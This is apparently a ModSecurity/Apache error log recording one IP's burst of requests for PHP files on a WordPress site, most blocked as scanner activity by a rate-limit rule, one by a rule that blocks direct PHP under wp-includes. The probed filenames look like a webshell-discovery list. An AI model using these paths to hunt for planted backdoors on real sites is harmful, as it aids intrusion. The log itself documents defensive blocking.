[Sun Mar 01 00:22:24.882071 2026] [:error] [pid 30797:tid 30883] [client 4.241.228.159:2299] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaMWQPQmcmSQL-3rvLD3ZgAAAEw"]
[Sun Mar 01 00:22:25.108103 2026] [:error] [pid 30797:tid 30891] [client 4.241.228.159:2356] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaMWQfQmcmSQL-3rvLD3ZwAAAFQ"]
[Sun Mar 01 00:22:25.375564 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2248] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaMWQcBkD73gO8wTonY4VwAAAJI"]
[Sun Mar 01 00:22:25.619145 2026] [:error] [pid 30797:tid 30876] [client 4.241.228.159:2354] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaMWQfQmcmSQL-3rvLD3aQAAAEU"]
[Sun Mar 01 00:22:26.016704 2026] [:error] [pid 30797:tid 30880] [client 4.241.228.159:2491] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWQvQmcmSQL-3rvLD3bQAAAEk"]
[Sun Mar 01 00:22:26.261887 2026] [:error] [pid 30797:tid 30892] [client 4.241.228.159:2331] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWQvQmcmSQL-3rvLD3bwAAAFU"]
[Sun Mar 01 00:22:26.529728 2026] [:error] [pid 30798:tid 30906] [client 4.241.228.159:2510] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWQsBkD73gO8wTonY4XAAAAIc"]
[Sun Mar 01 00:22:26.805482 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2487] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWQg2UMRAYWtDB23SaVgAAAQc"]
[Sun Mar 01 00:22:27.073987 2026] [:error] [pid 30798:tid 30921] [client 4.241.228.159:2460] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWQ8BkD73gO8wTonY4XwAAAJU"]
[Sun Mar 01 00:22:27.416954 2026] [:error] [pid 30798:tid 30922] [client 4.241.228.159:2349] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWQ8BkD73gO8wTonY4YgAAAJY"]
[Sun Mar 01 00:22:27.731601 2026] [:error] [pid 30795:tid 30810] [client 4.241.228.159:2448] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWQ2uI44IL94Zgti-igAAAAAI"]
[Sun Mar 01 00:22:27.959487 2026] [:error] [pid 30798:tid 30911] [client 4.241.228.159:2281] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWQ8BkD73gO8wTonY4ZAAAAIw"]
[Sun Mar 01 00:22:28.188326 2026] [:error] [pid 30797:tid 30889] [client 4.241.228.159:2327] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaMWRPQmcmSQL-3rvLD3dgAAAFI"]
[Sun Mar 01 00:22:28.481655 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2440] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWRA2UMRAYWtDB23SaWAAAAQE"]
[Sun Mar 01 00:22:28.837071 2026] [:error] [pid 30797:tid 30883] [client 4.241.228.159:2312] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWRPQmcmSQL-3rvLD3dwAAAEw"]
[Sun Mar 01 00:22:29.084162 2026] [:error] [pid 30798:tid 30903] [client 4.241.228.159:2249] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWRcBkD73gO8wTonY4aQAAAIQ"]
[Sun Mar 01 00:22:29.434434 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2442] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaMWRQ2UMRAYWtDB23SaWwAAARE"]
[Sun Mar 01 00:22:29.681555 2026] [:error] [pid 30798:tid 30908] [client 4.241.228.159:2469] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaMWRcBkD73gO8wTonY4agAAAIk"]
[Sun Mar 01 00:22:29.947844 2026] [:error] [pid 30798:tid 30920] [client 4.241.228.159:2346] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaMWRcBkD73gO8wTonY4bAAAAJQ"]
[Sun Mar 01 00:22:30.295287 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2464] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaMWRhfvwGOholYpM1E6JQAAAM4"]
[Sun Mar 01 00:22:30.694045 2026] [:error] [pid 30795:tid 30819] [client 4.241.228.159:2361] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaMWRmuI44IL94Zgti-ijwAAAAs"]
[Sun Mar 01 00:22:31.059091 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2436] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWRw2UMRAYWtDB23SaXwAAAQ4"]
[Sun Mar 01 00:22:31.529640 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2433] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWRw2UMRAYWtDB23SaZAAAARU"]
[Sun Mar 01 00:22:32.066312 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2478] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWSGuI44IL94Zgti-ilAAAAAc"]
[Sun Mar 01 00:22:32.311369 2026] [:error] [pid 30795:tid 30818] [client 4.241.228.159:2348] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWSGuI44IL94Zgti-ilgAAAAo"]
[Sun Mar 01 00:22:32.628551 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2439] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaMWSA2UMRAYWtDB23SaaAAAAQE"]
[Sun Mar 01 00:22:33.134695 2026] [:error] [pid 30795:tid 30832] [client 4.241.228.159:2297] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaMWSWuI44IL94Zgti-imQAAABg"]
[Sun Mar 01 00:22:33.461235 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2360] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaMWSQ2UMRAYWtDB23SacAAAARM"]
[Sun Mar 01 00:22:34.398441 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2285] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaMWSg2UMRAYWtDB23SaegAAAQo"]
[Sun Mar 01 00:22:34.879985 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2292] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaMWSg2UMRAYWtDB23SafwAAARA"]
[Sun Mar 01 00:22:35.213269 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2253] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaMWSw2UMRAYWtDB23SagwAAAQ0"]
[Sun Mar 01 00:22:35.638745 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2483] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaMWSw2UMRAYWtDB23SahgAAAQo"]
[Sun Mar 01 00:22:35.958956 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2451] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaMWSw2UMRAYWtDB23SaiQAAAQI"]
[Sun Mar 01 00:22:36.369919 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2359] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWTA2UMRAYWtDB23SajgAAAQ0"]
[Sun Mar 01 00:22:36.719019 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2328] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWTA2UMRAYWtDB23SajwAAARU"]
[Sun Mar 01 00:22:37.048983 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2263] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWTQ2UMRAYWtDB23SalAAAAQU"]
[Sun Mar 01 00:22:37.379319 2026] [:error] [pid 31190:tid 31221] [client 4.241.228.159:2516] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaMWTRfvwGOholYpM1E6MQAAAM8"]
[Sun Mar 01 00:22:37.651426 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2316] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaMWTRfvwGOholYpM1E6NAAAAM4"]
[Sun Mar 01 00:22:38.036130 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2338] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaMWTg2UMRAYWtDB23SanAAAAQs"]
[Sun Mar 01 00:22:38.282409 2026] [:error] [pid 53600:tid 53611] [client 4.241.228.159:2343] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaMWTg2UMRAYWtDB23SaogAAAQg"]
[Sun Mar 01 00:22:38.537617 2026] [:error] [pid 30797:tid 30878] [client 4.241.228.159:2498] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaMWTvQmcmSQL-3rvLD3igAAAEc"]
[Sun Mar 01 00:22:38.814940 2026] [:error] [pid 30797:tid 30891] [client 4.241.228.159:2507] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaMWTvQmcmSQL-3rvLD3jQAAAFQ"]
[Sun Mar 01 00:22:39.087539 2026] [:error] [pid 30795:tid 30814] [client 4.241.228.159:2485] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaMWT2uI44IL94Zgti-iqAAAAAY"]
[Sun Mar 01 00:22:39.342567 2026] [:error] [pid 30795:tid 30832] [client 4.241.228.159:2454] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaMWT2uI44IL94Zgti-iqgAAABg"]
[Sun Mar 01 00:22:39.738171 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2489] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaMWTxfvwGOholYpM1E6OQAAAMU"]
[Sun Mar 01 00:22:39.995805 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2271] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaMWTw2UMRAYWtDB23SaqgAAARU"]
[Sun Mar 01 00:22:40.275386 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2355] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaMWUA2UMRAYWtDB23SarQAAAQ4"]
[Sun Mar 01 00:22:40.533058 2026] [:error] [pid 30795:tid 30807] [client 4.241.228.159:2450] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaMWUGuI44IL94Zgti-irwAAAAA"]
[Sun Mar 01 00:22:40.850519 2026] [:error] [pid 30795:tid 30829] [client 4.241.228.159:2295] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaMWUGuI44IL94Zgti-iswAAABU"]
[Sun Mar 01 00:22:41.253968 2026] [:error] [pid 30798:tid 30922] [client 4.241.228.159:2326] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaMWUcBkD73gO8wTonY4gQAAAJY"]
[Sun Mar 01 00:22:41.497851 2026] [:error] [pid 30797:tid 30883] [client 4.241.228.159:2521] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaMWUfQmcmSQL-3rvLD3lQAAAEw"]
[Sun Mar 01 00:22:41.776338 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2447] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaMWURfvwGOholYpM1E6PwAAANY"]
[Sun Mar 01 00:22:42.083405 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2458] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaMWUhfvwGOholYpM1E6QgAAAMY"]
[Sun Mar 01 00:22:42.320163 2026] [:error] [pid 30795:tid 30822] [client 4.241.228.159:2435] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaMWUmuI44IL94Zgti-ivwAAAA4"]
[Sun Mar 01 00:22:42.553139 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2434] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaMWUg2UMRAYWtDB23SatwAAAQ4"]
[Sun Mar 01 00:22:42.818905 2026] [:error] [pid 53600:tid 53621] [client 4.241.228.159:2514] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaMWUg2UMRAYWtDB23SaugAAARI"]
[Sun Mar 01 00:22:43.212227 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2476] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaMWUw2UMRAYWtDB23SavwAAAQc"]
